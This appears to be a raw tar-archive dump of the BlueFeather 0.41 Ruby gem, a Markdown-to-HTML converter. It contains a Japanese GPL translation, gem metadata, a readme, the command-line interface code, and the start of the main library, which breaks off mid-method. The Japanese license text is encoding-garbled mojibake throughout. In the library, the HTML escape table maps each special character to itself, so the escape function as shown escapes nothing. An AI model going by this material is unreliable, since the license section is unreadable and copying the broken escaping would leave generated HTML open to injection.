Ǥ뤳Ȥݾڤ뤳ȤŪȤƤޤΰ̸ѵ ϥե꡼եȥĤΥեȥΤۤȤɤŬѤƤꡢޤ GNU GPLŬѤȷ᤿ե꡼եȥİʳκԤˤץ ˤŬѤƤޤ(ĤΥե꡼եȥĤΥեȥ ˤϡGNU GPLǤϤʤGNU 饤̸֥ѵŬѤ Ƥ뤳Ȥ⤢ޤ)ʤޤʬΥץGNU GPLŬ 뤳ȤǽǤ 䤿ե꡼եȥȸȤѤμͳˤĤƸڤ ΤǤäơʤˤƤޤ󡣻䤿ΰ̸ѵ ϡʤե꡼եȥʣʪۤ뼫ͳݾڤ褦 פƤޤ(˾˱ƤμΥӥ˼ݤͳݾڤ ޤ)ޤʤɤ뤫뤤˾Ф ꤹ뤳ȤǽǤȤȡʤեȥѹ 򿷤ʥե꡼ΥץѤǤȤȡơʾǽ ٤褦ʤȤǤȤȤʤΤ餵ȤȤݾڤ ޤ ʤθ뤿ᡢ䤿ïʤͭ뤳θ 뤳Ȥ䡢θ褦׵᤹뤳ȤػߤȤ äɬפޤäơʤեȥʣʪۤ ꤽѹꤹˤϡ¤Τˤʤˤ Ǥȯ뤳Ȥˤʤޤ 㤨Сʤե꡼ʥץʣʪۤ硢̵ͭ ؤ餺ʤϼʬͭ븢ƼμԤͿʤФʤޤ ޤʤ⥽ɤ뤫뤳ȤǤ褦 ݾڤʤФʤޤ󡣤ơʤФưʲǽҤ٤ 򼨤˼λĸˤĤΤ餷褦ˤʤФʤޤ 䤿ϤʤθʳμƧݸޤ(1) ޤեȥ Фĥ (2) ʤФơեȥʣ ۤޤϲѤˤĤƤˡŪʵĤͿ뤳η󼨤ޤ ޤƺԤ䤿ݸ뤿ᡢ䤿ϤΥե꡼եȥˤ ݾڤ̵ȤȤï⤬μ¤򤹤褦ˤޤեȥ ï¾ͤˤäƲѤ졢줬ۤƤäȤƤ⡢ μμԤ餬줿եȥꥸʥΥСǤ̵ ȡƸԤ̾¾ͤˤäƻޤ줿ǽΤˤ Ʊƶ뤳ȤʤȤȤΤȻפޤ Ǹˡեȥõʤե꡼Υץ¸ߤˤǤζ ҤꤲƤޤ䤿ϡե꡼ʥץκۼԤġ õ饤󥹤뤳Ȥˤäơ¾ץŪˤƤ ޤȤ򤱤Ȼפޤä֤ͽɤ뤿ᡢ䤿 Ϥʤõï⤬ͳѤǤ褦饤󥹤뤫 󥹤ʤΤɤ餫ǤʤФʤʤȤΤˤޤ (: ܷǡŪ(proprietary)פȤϡեȥѤ ۡѤػߤƤ뤫Ĥ뤳ȤɬפȤƤ뤫뤤 ϸ¤ݤƤƼͳˤ뤳Ȥ¾ǤʤʤäƤ ֤ΤȤؤܤ http://www.gnu.org/philosophy/categories.ja.html#ProprietarySoftware Ȥ衣) ʣۡѤˤĤƤΤʾʲǽҤ٤Ƥޤ GNU ̸ѵ ʣۡѤ˴ؤ 0. ѵϡΥץ(ޤϤ¾ʪ)򤳤ΰ ̸ѵβۤǤȤΤԤ äƵܤ줿ץޤϤ¾ʪ̤ŬѤ롣ʲ ϡ֡إץ١פȤϤΤ褦ˤƤηŬѤ줿ץ ʪ̤̣ޤ֡إץ٤ˤʪפȤϡإ ٤䤽¾ˡβʪȸʤ̤ؤ إץ٤ΰƱΤޤޤѤä 뤤¾θ줿ǴޤʪΤȤǤ(ֲѡפȤ ΰ̣Ϥ뤬ʲǤѤΰȸʤ)줾 ηԤϡ֤ʤפɽ롣 ʣۡѰʳγưϤηǤϥСʤϤ оݳǤ롣إץ٤¹Ԥ԰ټΤ¤Ϥʤ Τ褦ʡإץ٤νϷ̤ϡƤإץ٤ ˤʪΤߤηˤäݸ(إץ ٤¹ԤȤˤäƺ줿ȤȤȤ̵طǤ) 褦ϡإץ٤򤹤Τ˰¸롣 1. 줾ʣʪˤŬڤɽݾڤǧ(disclaimer of warranty)ΩĤ褦Ŭڤ˷Ǻܤޤη񤪤Ӱڤݾڤ Ժߤ˿줿Τ٤Ƥ򤽤Τޤ޻ĤƤηʣʪإץ ٤ΤʤμԤˤإץ٤ȶۤ¤ꡢʤ إץ٤Υɤʣʪ򡢤ʤä̤ηʣ ޤۤ뤳ȤǤ롣Τʤ ʤϡʪŪʣʪϤȤ԰٤˴ؤƼݤƤ ˾ˤäƤϼäƸ򴹤ˤݸݾڤ󶡤Ƥ 2. ʤϼʬΡإץ٤ʣʪΰѤơإץ ٤ˤʪΤ褦ʲʪ嵭1 βʣޤۤ뤳ȤǤ롣Τˤϰʲ ξ魯٤ƤƤʤФʤʤ: a) ʤΥեѹȤȤѹ ʬ褦Ѥ줿ե˹𼨤ʤФʤʤ b) إץ٤ޤϤΰޤʪ뤤ϡإץ ΰʪۤ뤤ȯɽˤϡ Τ򤳤ηξ˽ä軰Ԥ̵ѵʤФʤ c) Ѥ줿ץब̾¹ԤݤŪ˥ޥɤɤ 褦ˤʤäƤʤСΥץǤŪˡŪ ¹ԤݡŬڤɽ̵ݾڤǤ뤳(뤤Ϥʤ ڤ󶡤Ȥ)桼ץ򤳤ηǽҤ٤ βۤ뤳ȤǤȤȡƤηʣʪ ˤϤɤ褤Ȥ桼ؤޤΤ 뤫뤤ϲ̤ɽ褦ˤʤФʤʤ(㳰Ȥ ơإץ٤ΤΤŪǤäƤ̾綠Τ褦ʹΤ ʤˤϡإץ٤ˤʤʪˤΤ褦 ʹΤɬפϤʤ) ʾɬ׾ΤȤƤβѤ줿ʪŬѤ롣ʪΰ إץ٤ΤǤϤʤȳǧǤ鼫̤Ω ʪǤȹŪ˹ͤʤСʤ̤ʪ Ȥʬۤ硢äʬˤϤηȤξ ŬѤʤʤƱʬإץ٤ˤʪ ΤΰȤۤʤСΤȤƤʪϡη ݤ˽ʤФʤʤȤΤϡη¾η ͿĤϡإץٴݤΤ˵ڤӡï񤤤ϴطʤ ʬΤ٤Ƥݸ뤫Ǥ롣 äơ٤Ƥʤˤäƽ񤫤줿ʪФĥꤢ θ˰۵Ĥ򿽤ΩƤ뤳ȤϤΰտޤȤǤϤʤष μݤϡإץ٤ˤʪʤʪۤ 븢ԻȤȤȤˤ롣 ޤإץ٤ˤƤʤ¾ʪإץ( 뤤ϡإץ٤ˤʪ)Ȱ˽᤿ΤΤ촬 ݴ֤ʤΤ˼Ƥ⡢¾ʪޤǤη оݤˤʤȤȤˤϤʤʤ 3. ʤϾ嵭1ᤪ2ξ˽إץ(뤤2 ˤʪ)򥪥֥ȥɤʤ¹Էʣޤۤ 뤳ȤǤ롣ξ礢ʤϰʲΤɤ줫Ĥ»ܤ Фʤʤ: a) ʪˡإץ٤бĵɤ߼ǽ ɤźդ롣ɤϾ嵭1ᤪ2 ˽եȥθ򴹤ǽŪ˻ȤΤۤʤ ʤʤ뤤ϡ b) ʪˡʤ軰ԤФƤ⡢إץ٤б ĵɤ߼ǽʥɤۤפʪŪ ʤ٤μȰ󶡤ݽҤ٤ʤȤ3ǯ ֤ͭʽ̤ˤʤäФź롣ɤϾ嵭 1ᤪ2ξ˽եȥθ򴹤ǽŪ˻ȤΤ ۤʤФʤʤ뤤ϡ c) б륽ۤοФ˺ݤơʤ ˰Ϥ(ϡŪȤʤۤǤäơĤ ʤ嵭bǻꤵƤ褦ʿФȶ˥֥ȥ ɤ뤤ϼ¹ԷΥץषꤷƤʤ˸¤Ĥ ) ʪΥɤȤϡФƲѤäǹޤȤ ʪη̣롣¹ԷʪˤȤäƴʥ Ȥϡ줬ޤ⥸塼뤹٤ƤΥ˲äϢ륤 եեΤ٤Ƥȥ饤֥Υѥ䥤󥹥ȡ 椹뤿˻Ȥ륹ץȤäΤ̣롣 㳰ȤơΥݡͥȼΤ¹Էտ魯ΤǤ̵¤ꡢ ۤΤˡ¹Է¹Ԥ륪ڥ졼ƥ󥰥ƥμ פʥݡͥ(ѥ䥫ͥ)̾(Х Τɤ餫)ۤΤޤǤɬפϤʤȤ롣 ¹Էޤϥ֥ȥɤۤꤵ줿꤫饳ԡ Υʤ󶡤뤳Ȥǰ٤Ȥơξǥ ƱΥʤˤäƱ꤫饳ԡǤ褦ˤʤäƤ С軰Ԥ֥ȥɤȰ˥⶯Ū˥ԡ 褦ˤʤäƤʤƤ⥽ۤξƤΤȤ롣 4. ʤϡإץ٤򡢤ηˤΤ󼨤줿 ٤ʣѡ֥饤󥹡뤤ۤƤϤʤʤ¾ إץ٤ʣѡ֥饤󥹡뤤ۤƤϤ ̵ǤꡢηβǤΤʤθưŪ˽뤵뤳 Ȥˤʤʣʪ丢򤳤η˽äƤʤ ͡˴ؤƤϡΤ褦ʿ͡η˴˽äƤ¤ Υ饤󥹤ޤǽ뤹뤳ȤϤʤ 5. ʤϤηɬפ̵ȤΤϡʤϤ ˽̾ƤʤǤ롣ηʳˤʤФ ơإץ٤䤽ʪѹۤĤͿΤ¸ߤ ι԰٤ϡʤηʤ¤ˡˤä ؤƤ롣ǡإץ(뤤ϡإץ٤ˤ ʪΤ٤)Ѥʤۤ뤳ȤˤꡢʤϼʬΤ ʹ԰٤ԤˤηȤȡơإץ ٤Ȥ˴ŤʪʣۡѤˤĤƤη񤬲 Ⱦ򤹤٤Ƽ줿ȤȤ򼨤Τȸʤ 6. ʤإץ(ޤϡإץ٤ˤʪ) ۤ뤿ӤˡμμԤϸΥ饤󥹵ļԤ顢η ꤵ줿βǡإץ٤ʣۡ뤤ϲѤ ĤưŪΤȤ롣ʤϡμԤǧ줿 ԻȤ뤳Ȥ˴ؤƤʾ¾Τʤ¤ݤȤǤʤ ˤϡ軰Ԥη˽ȤǤϤʤ 7. õ뤤Ϥ¾ͳ(õط˸¤ʤ)顢ȽȽ 뤤ϿΩƤη̤ȤƤʤ(Ƚ̿ʤɤˤ)η ξ̷⤹󤬲ݤ줿Ǥ⡢ʤηξ Ƚ櫓ǤϤʤ⤷ηβǤʤ˲ݤ줿Ǥ¾ δϢǤƱ褦ʷۤǤʤʤС̤ȤƤ ʤϡإץ٤ۤ뤳ȤǤʤȤȤǤ롣㤨 õ饤󥹤ʤľܴܤ鷺ԡäͤï Ǥإץ٤̵Ǻۤ뤳ȤǧƤʤ硢 ȤηξȤˤϡإץ٤ۤ ߤ뤷ʤ ΰʬξβ̵ʤ»ԲǽʾǤ⡢λ ʬŬѤ褦տޤƤ롣¾ξǤ᤬ΤȤ ŬѤ褦տޤƤ롣 õ䤽¾κ⻺򿯳ꡢΤ褦ʸμĥθϤ˰۵Ĥ ꤹ褦ʤͶǤ뤳ȤŪǤϤʤˤϡ ͡ˤäƥ饤󥹴ԤȤƼ¸Ƥե꡼եȥ ΥƥδȤŪʤ¿ο͡ե꡼ե ۥƥबӤŬѤƤȤ˴Ť Υƥ̤ۤ¿ͤʥեȥ˴ʹ׸򤷤Ƥ ϻ¤Ǥ뤬ͤɤΤ褦ʥƥ̤ƥեȥۤ ȻפϤޤǤ/ͿԼǤꡢʤ򲡤Ĥ뤳 ȤϤǤʤ ϡηΤʳʬΰ쵢ˤʤȹͤ륱 ŰŪ餫ˤ뤳ȤŪȤƤ롣 8. إץ٤ۤѤˤƤõޤ ĥ줿󥿡եΤ줫ˤä¤Ƥ硢إץ ٤ˤηŬѤԤϡä񡹤ӽ ΤŪ¤äӽƤʤ䤽ι δ֤ǤΤۤĤ褦ˤƤ⹽ʤξ硢Τ褦 ¤Ϥηʸǽ񤫤ƤΤƱͤ˸ʤ롣 9. ե꡼եȥĤϡˤäƲޤϿǤΰ̸ѵ ȯɽ뤳ȤǤ롣Τ褦ʿǤϸߤΥСȤ ˤƤϻΤˤʤǰ褹뤿 ϰۤʤǽ롣 줾ΥСˤϡʬդ褦˥Сֹ椬Ƥ 롣إץ٤ˤƤŬѤ뤳ηΥСֹ椬 ꤵƤơˡ֤ʹߤΤʤСפŬѤɤȤʤ Ƥ硢ʤϽȤơΥС󤫡ե꡼ եȥĤˤäȯԤ줿ΥСʹߤǤΤɤ줫Ĥ ɤ餫֤Ȥ롣إץ٤ǥ饤󥹤ΥСֹ ꤵƤʤʤСʤϺޤǤ˥ե꡼եȥĤȯ Ԥ줿С椫鹥ǹʤ 10. ⤷ʤإץ٤ΰ򡢤۾郎η ۤʤ¾Υե꡼ʥץ礷ʤСԤϢƵĤ 衣ե꡼եȥĤͭ륽եȥˤĤƤϡ ե꡼եȥĤϢ衣䤿ϡΤ褦ʾΤ 㳰ߤ뤳Ȥ⤢롣䤿򲼤ˤäƤϡ䤿Υե꡼ եȥʪ٤Ƥե꡼ʾ֤ݤȤȤȡŪ ˥եȥζͭȺѤ¥ʤȤĤɸ򵬽˸Ƥ Ǥ ̵ݾڤˤĤ 11. إץ٤̵ѤĤΤǡŬڤˡǧ ˤơإץ٤˴ؤ뤤ʤݾڤ¸ߤʤ̤̤ Ҥ٤ơԡޤϤ¾Τϡإץ٤ ɽ줿ˤ鷺ŪŬݾڤۤΤᤫ䤢 ŪؤŬ(˸¤ʤ)ޤڤݾ̵ˡ֤뤬ޤޡפ 롣إץ٤μǽ˴ؤꥹΤ٤ƤϤʤ˵° 롣إץ٤˷٤Ƚ硢ʤɬפݼ 佤פ륳ȤΤ٤Ƥ뤳Ȥˤʤ롣 12. Ŭڤˡ̤ǤƱդˤä̿ʤ¤ꡢԡޤϾ ǵĤƤ̤ˡإץ٤ѤޤϺۤ¾ ΤϡʤФơإץ٤ѤʤǽŪ ŪŪɬŪ»(ǡξüΤʽʤ軰 Ԥä»뤤ϡإץ٤¾ΥեȥȰư ʤȤԶʤɤޤब˸¤ʤ)˰ڤǤʤ Τ褦»ǽˤĤ餬𤵤ƤȤƤƱͤ 롣 󽪤 ʾξ򤢤ʤοץŬѤˡ ʤץȯȤơˤäƤ줬Ѥ ǽˤʤ顢Υץ򤳤ηξ˽ä ïǤۤ뤤ѹǤ褦ե꡼եȥˤΤǤ Τˤϡץ˰ʲΤ褦ɽźդƤξ硢 ݾڤӽƤȤȤǤŪ뤿ˡ줾Υ եƬɽźդкǤǤʤȤ⡢ɽ פȤԤʸؤΥݥ󥿤ϳƥե˴ޤ֤ Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA (: <ץ̾ȡ줬򤹤뤫ˤĤƤδñ> Copyright (C) <ǯ> <Ԥ̾> Υץϥե꡼եȥǤʤϤ򡢥ե꡼ ȥĤˤäȯԤ줿 GNU ̸ѵ(С 2˾ˤäƤϤʹߤΥСΤɤ줫) βǺۤޤϲѤ뤳ȤǤޤ ΥץͭѤǤ뤳Ȥäۤޤ*̵ * ǤȲǽݾڤŪؤŬϡ˼줿 Τޤ¸ߤޤ󡣾ܤGNU ̸ѵ ʤϤΥץȶˡGNU ̸ѵʣʪ äϤǤ⤷äƤʤСե꡼եȥ ĤޤᤷƤ( the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA) ) ŻҤʤΥ᡼Ǥʤ䤤碌ˡˤĤƤξ񤭲ä ޤ礦 ץबŪʤΤʤСå⡼ɤǵưݤ˽ϤȤưʲ Τ褦ûΤɽ褦ˤƤ: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. (: Gnomovision С 69, Copyright (C) ǯ Ԥ̾ Gnomovision *̵ݾ*󶡤ޤܤϡshow w ȥפƲϥե꡼եȥǤꡢβ ۤ뤳Ȥ夵Ƥޤܤϡshow cפȥפƲ ) ǡŪʥޥɡshow wפȡshow cפϰ̸ѵ Ŭڤʬɽ褦ˤʤäƤʤФʤޤ󡣤󡢤 Ȥޥɤshow wפshow cפȸƤɬϤޤΤǡ ʤΥץ˹碌ƥޥΥå˥塼Υƥˤ 빽Ǥ ޤʤϡɬפʤ(ץޡȤƯƤ)ʤθѼ硢 뤤ϾˤäƤϳع顢Υץ˴ؤ (copyright disclaimer)פ˽̾Ƥ餦٤ǤʲǤΤǡ̾ ѤƤ: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice (: YoyodyneҤϤˡJames Hackerˤäƽ񤫤줿ץ Gnomovision(ѥ̤ץ)˴ؤڤ פޤ 1989ǯ41 Ty CoonĹ ) ΰ̸ѵǤϡʤΥץŪʥץ 礹뤳ȤǧƤޤ󡣤ʤΥץब֥롼饤 ʤСŪʥץꥱȤʤΥ饤֥󥯤뤳 ȤĤۤǤȹͤ뤫⤷ޤ󡣤⤷줬 ˾ळȤʤСηGNU 饤̸֥ѵ ŬѤƤ bluefeather-0.41/metadata.yml0000644000004100000410000000573712122140072016262 0ustar www-datawww-data--- !ruby/object:Gem::Specification name: bluefeather version: !ruby/object:Gem::Version version: '0.41' prerelease: platform: ruby authors: - Dice autorequire: bindir: bin cert_chain: [] date: 2013-02-11 00:00:00.000000000 Z dependencies: [] description: ! ' BlueFeather is software for converting text written by extended Markdown to html. It is pair of command-line tool and pure Ruby library. ' email: tetradice@gmail.com executables: - bluefeather extensions: [] extra_rdoc_files: [] files: - readme_en.txt - readme_ja.txt - Rakefile.rb - bin/bluefeather - bin/post-setup.rb - lib/bluefeather.rb - lib/bluefeather/cui.rb - license/gpl-2.0.txt - license/gpl.ja.txt - spec/auto-link.rb - spec/code-block.rb - spec/cui.rb - spec/dl.rb - spec/encoding.rb - spec/escape.rb - spec/footnote.rb - spec/header-id.rb - spec/lib/common.rb - spec/numbering.rb - spec/table.rb - spec/text/encoding_sample_default.bfdoc - spec/text/encoding_sample_euc-jp.bfdoc - spec/text/encoding_sample_shift-jis.bfdoc - spec/text/encoding_sample_utf-8.bfdoc - spec/text/encoding_sample_utf-8n.bfdoc - spec/toc.rb - spec/warning.rb - spec/win32.rb - spec/win32.~rb - original-tests/00_Class.tests.rb - original-tests/05_Markdown.tests.rb - original-tests/10_Bug.tests.rb - original-tests/15_Contrib.tests.rb - original-tests/bftestcase.rb - original-tests/data/antsugar.txt - original-tests/data/ml-announce.txt - original-tests/data/re-overflow.txt - original-tests/data/re-overflow2.txt - original-tests/some_prob.tests.rb - doc/author-and-license.bfdoc - doc/author-and-license.html - doc/base.css - doc/basic-usage.bfdoc - doc/basic-usage.html - doc/black.css - doc/class-reference.bfdoc - doc/class-reference.html - doc/difference.bfdoc - doc/difference.html - doc/en/author-and-license.bfdoc - doc/en/author-and-license.html - doc/en/base.css - doc/en/basic-usage.bfdoc - doc/en/basic-usage.html - doc/en/black.css - doc/en/class-reference.bfdoc - doc/en/class-reference.html - doc/en/difference.bfdoc - doc/en/difference.html - doc/en/encoding-rule.bfdoc - doc/en/encoding-rule.html - doc/en/format-extension.bfdoc - doc/en/format-extension.html - doc/en/index.bfdoc - doc/en/index.html - doc/en/metadata-reference.bfdoc - doc/en/metadata-reference.html - doc/encoding-rule.bfdoc - doc/encoding-rule.html - doc/format-extension.bfdoc - doc/format-extension.html - doc/index.bfdoc - doc/index.html - doc/metadata-reference.bfdoc - doc/metadata-reference.html homepage: http://ruby.morphball.net/bluefeather/ licenses: [] post_install_message: rdoc_options: [] require_paths: - lib required_ruby_version: !ruby/object:Gem::Requirement none: false requirements: - - ! '>=' - !ruby/object:Gem::Version version: 1.8.1 required_rubygems_version: !ruby/object:Gem::Requirement none: false requirements: - - ! '>=' - !ruby/object:Gem::Version version: '0' requirements: [] rubyforge_project: bluefeather rubygems_version: 1.8.24 signing_key: specification_version: 3 summary: Extend Markdown Converter test_files: [] bluefeather-0.41/readme_en.txt0000644000004100000410000000122412122140072016422 0ustar www-datawww-dataBlueFeather - Extended MarkDown Converter ==== BlueFeather is software for converting text written by extended Markdown like PHP Markdown Extra to html. It is pair of command-line tool and pure Ruby library. BlueFeather is based on BlueCloth 1.0.0. And that, some extensions is added -- known bug fix, changing interface and extension of Markdown syntax. See doc/en/index.html, please. Install ---- Run setup.rb on ruby-installed PC. % ruby setup.rb License ---- GPL (General Public License) version 2 or later Website ---- Contact ---- Dice bluefeather-0.41/lib/0000755000004100000410000000000012122140072014511 5ustar www-datawww-databluefeather-0.41/lib/bluefeather/0000755000004100000410000000000012122140072016777 5ustar www-datawww-databluefeather-0.41/lib/bluefeather/cui.rb0000644000004100000410000001506312122140072020111 0ustar www-datawww-data# # BlueFeather Command-line Interface # require 'optparse' require 'benchmark' require 'stringio' require 'pathname' require 'bluefeather' module BlueFeather class CUI module FormatType TEXT = 'text' DOCUMENT = 'document' end include FormatType FORMAT_TYPE_TABLE = { 'document' => DOCUMENT, 'bfdoc' => DOCUMENT, 'text' => TEXT, 'bftext' => TEXT, } HELP = <<-EOS bluefeather - Extended Markdown Converter Usage: bluefeather [options] file1 [file2 file3 ..] Options: -e, --encoding NAME parse input files as encoding of NAME. (s[hift(_-)jis] / e[uc-jp] / u[tf-8] / a[scii] default: 'utf-8') -f, --format TYPE specify format. (t[ext] => text mode d[ocument] => document mode) --force write even if target files have not changed. (default: only if target files have changed) -h, --help show this help. -o, --output DIR output files to DIR. (default: same as input file) -q, --quiet no output to stderr. --suffix .SUF specify suffix of output files. (default: '.html') -v, --verbose verbose mode - output detail of operation. --version show BlueFeather version. Advanced Usage: * If specify files only '-', bluefeather read from stdin and write to stdout. Example: bluefeather *.bftext *.bfdoc bluefeather -v --sufix .xhtml -o ../ sample.markdown bluefeather - More info: see EOS def self.run(*args) self.new.run(*args) end attr_reader :stdout, :stderr, :stdin def initialize(stdout = $stdout, stderr = $stderr, stdin = $stdin) @stdout, @stderr, @stdin = stdout, stderr, stdin end def run(argv) op = OptionParser.new verbose = false quiet = false force = false suffix = '.html' format = nil output_dir_path = nil encoding = EncodingType::UTF_8 message_out = @stderr op.on('-e', '--encoding NAME') do |v| case v.downcase when /^sh?i?f?t?[-_]?j?i?s?$/ encoding = EncodingType::SHIFT_JIS when /^eu?c?-?j?p?$/ encoding = EncodingType::EUC_JP when /^ut?f?-?8?$/ encoding = EncodingType::UTF_8 when /^as?c?i?i?$/ encoding = EncodingType::ASCII else message_out.puts "ERROR: invalid encoding - #{v}" message_out.puts "Expected: s[hift(-_)jis] / e[uc-jp] / u[tf-8] / a[scii]" return false end end op.on('-f', '--format TYPE', FORMAT_TYPE_TABLE){|x| format = x} op.on('--force'){|x| force = true} op.on('-v', '--verbose'){ verbose = true } op.on('-o', '--output DIR', String){|x| output_dir_path = Pathname.new(x)} op.on('-q', '--quiet'){ message_out = StringIO.new } op.on('--suffix .SUF', String){|x| suffix = x} op.on('--version'){ @stdout.puts "bluefeather #{VERSION_LABEL}" return false } op.on('-h', '--help'){ @stdout.puts HELP return false } args = op.parse(argv) if args.empty? then message_out.puts "ERROR: please text file paths, patterns, or '-' (stdin-mode).\nEx) bluefeather *.bfdoc" return false end message_out.puts "default encoding: #{encoding}" if verbose unless defined?(Encoding) then # ruby 1.8 or earlier original_kcode = $KCODE $KCODE = EncodingType.convert_to_kcode(encoding) end begin if args == ['-'] then if verbose then message_out.puts "bluefeather: stdin -> stdout mode." message_out.puts "----" end src = @stdin.read if defined?(Encoding) then # ruby 1.9 or later src.force_encoding(EncodingType.regulate(encoding)) end # default: text if format == DOCUMENT then @stdout.write(BlueFeather.parse_document(src, encoding)) else @stdout.write(BlueFeather.parse_text(src)) end else targets = [] args.each do |pattern| targets.concat(Pathname.glob(pattern.gsub('\\', '/'))) end if targets.empty? then message_out.puts "ERROR: targets not found.\n(patterns: #{args.join(' ')})" return false end targets.each do |src| ext = src.extname if output_dir_path then filename = src.basename.to_s.sub(/#{Regexp.escape(ext)}$/, suffix) dest = (output_dir_path + filename).cleanpath else dest = Pathname.new(src.to_s.sub(/#{Regexp.escape(ext)}$/, suffix)).cleanpath end html = nil current_format = format if ext == suffix then message_out.puts "#{src} skipped. (suffix = #{suffix})" if verbose elsif not force and dest.exist? and (dest.mtime > src.mtime) then message_out.puts "#{src} skipped. (not changed)" if verbose else # judge by extname if format is not specified unless current_format then case ext when '.bfdoc', '.md' current_format = DOCUMENT else current_format = TEXT end end # parse parser = BlueFeather::Parser.new this_encoding = nil parsing_sec = Benchmark.realtime{ case current_format when DOCUMENT doc = nil open(src, 'r'){|f| doc = BlueFeather::Document.parse_io(f, encoding) } html = parser.document_to_html(doc) this_encoding = doc.encoding_type when TEXT open_mode = (defined?(Encoding) ? "r:#{encoding}" : 'r') text = src.open(open_mode){|x| x.read} html = parser.parse_text(text) this_encoding = encoding end } if html then open(dest, 'w'){|f| f.write(html) } message_out.puts "#{src} => #{dest} (#{File.size(dest)} byte)" if verbose then message_out.puts " Format: #{current_format}" message_out.puts " Encoding: #{this_encoding}" message_out.puts sprintf(' Parsing Time: %g sec', parsing_sec) message_out.puts end end # if html end # if ext == suffix end # targets.each end # if stdin-mode ensure unless defined?(Encoding) then # recover original $KCODE $KCODE = original_kcode end end # begin return true end # def run end # class CUI end # module BlueFeatherbluefeather-0.41/lib/bluefeather.rb0000644000004100000410000015574312122140072017343 0ustar www-datawww-data# # BlueFeather - Extended Markdown Converter # # Author of Original BlueCloth: Michael Granger # Remaker: Dice # Website: http://ruby.morphball.net/bluefeather/ # License: GPL version 2 or later # # If you want to know better about BlueFeather, See the attached document # 'doc/index.html' or Website. # # # #-- Copyrights & License ------------------------------------------------------- # # Original Markdown: # Copyright (c) 2003-2004 John Gruber # # All rights reserved. # # Orignal BlueCloth: # Copyright (c) 2004 The FaerieMUD Consortium. # # BlueFeather: # Copyright (c) 2013 Dice # # BlueFeather is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or (at your option) any later # version. # # BlueFeather is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU General Public License for more details. require 'digest/md5' require 'logger' require 'strscan' require 'stringio' require 'uri' module BlueFeather VERSION = '0.41' VERSION_NUMBER = 0.41 RELEASE_DATE = '2013-02-12' VERSION_LABEL = "#{VERSION} (#{RELEASE_DATE})" UTF8_BOM = "\xef\xbb\xbf" UTF8_BOM_PATTERN = /^#{UTF8_BOM}/ # Fancy methods class << self def parse_text(src) Parser.new.parse_text(src) end alias parse parse_text def parse_document(src, default_enc = EncodingType::UTF8) Parser.new.parse_document(src, default_enc) end def parse_text_file(path) Parser.new.parse_text_file(path) end alias parse_file parse_text_file def parse_document_file(path, default_enc = EncodingType::UTF8) Parser.new.parse_document_file(path, default_enc) end end ### Exception class on BlueFeather running. class Error < ::RuntimeError end class EncodingError < Error end ### Exception class for formatting errors. class FormatError < Error ### Create a new FormatError with the given source +str+ and an optional ### message about the +specific+ error. def initialize( str, specific=nil ) if specific msg = "Bad markdown format near %p: %s" % [ str, specific ] else msg = "Bad markdown format near %p" % str end super( msg ) end end module HeaderIDType MD5 = 'md5' ESCAPE = 'escape' end module EncodingType EUC = 'euc-jp' EUCJP = EUC_JP = EUC SJIS = 'shift_jis' SHIFT_JIS = SJIS UTF8 = 'utf-8' UTF_8 = UTF8 ASCII = 'ascii' US_ASCII = ASCII def self.regulate(str_value) case str_value.downcase when 'shift-jis', 'shift_jis' SJIS when 'euc-jp' EUC when 'utf-8' UTF8 when 'ascii' ASCII else raise EncodingError, "not adapted encoding type - #{str_value} (shift[-_]jis, euc-jp, utf-8, or ascii)" end end def self.convert_to_kcode(str_value) type = self.regulate(str_value) case type when EUC, SJIS, UTF8 type when ASCII 'none' end end def self.convert_to_charset(str_value) type = self.regulate(str_value) case type when EUC 'euc-jp' when SJIS 'shift_jis' when UTF8 'utf-8' when ASCII nil end end end module Util HTML_ESC = { '&' => '&', '"' => '"', '<' => '<', '>' => '>' } module_function # from http://jp.rubyist.net/magazine/?0010-CodeReview#l28 # (Author: Minero Aoki) def escape_html(str) table = HTML_ESC # optimize str.gsub(/[&"<>]/) {|s| table[s] } end def generate_blank_string_io(encoding_base) io = StringIO.new if io.respond_to?(:set_encoding) then io.set_encoding(encoding_base.encoding) end return io end def change_kcode(kcode = nil) if defined?(Encoding) then # ruby 1.9 later yield else # ruby 1.8 earlier original_kcode = $KCODE begin $KCODE = kcode if kcode yield ensure # recover $KCODE = original_kcode end end # if defined? end # def def utf8_bom?(str) if str.respond_to?(:getbyte) and str.respond_to?(:bytesize) then if str.bytesize >= 3 and str.getbyte(0) == UTF8_BOM.getbyte(0) and str.getbyte(1) == UTF8_BOM.getbyte(1) and str.getbyte(2) == UTF8_BOM.getbyte(2) then return true else return false end else return(str =~ UTF8_BOM_PATTERN ? true : false) end end end class Document HEADER_PATTERN = /^([a-zA-Z0-9-]+?)\s*\:\s*(.+?)\s*(?:\n|\Z)/ BLANK_LINE_PATTERN = /^\n/ HEADER_SEQUEL_PATTERN = /^\s+(.+)$/ attr_accessor :headers, :body alias text body alias text= body= class << self def parse_io(input, default_enc = EncodingType::UTF8) headers = {} body = nil first_pos = input.pos default_enc = EncodingType.regulate(default_enc) Util.change_kcode(EncodingType.convert_to_kcode(default_enc)){ # default encoding if defined?(Encoding) then input.set_encoding(Encoding.find(default_enc)) end # get headers pos_before_gets = nil first_line = true loop do pos_before_gets = input.pos line = input.gets # cut UTF-8 BOM if first_line and Util.utf8_bom?(line) then line.slice!(UTF8_BOM_PATTERN) end first_line = false if line and line.chomp =~ HEADER_PATTERN then key = $1.downcase; value = $2 if key == 'encoding' and not headers.include?('encoding') then kc = EncodingType.convert_to_kcode(value.downcase) if input.respond_to?(:set_encoding) then input.set_encoding(EncodingType.regulate(value)) # rewind (reason => 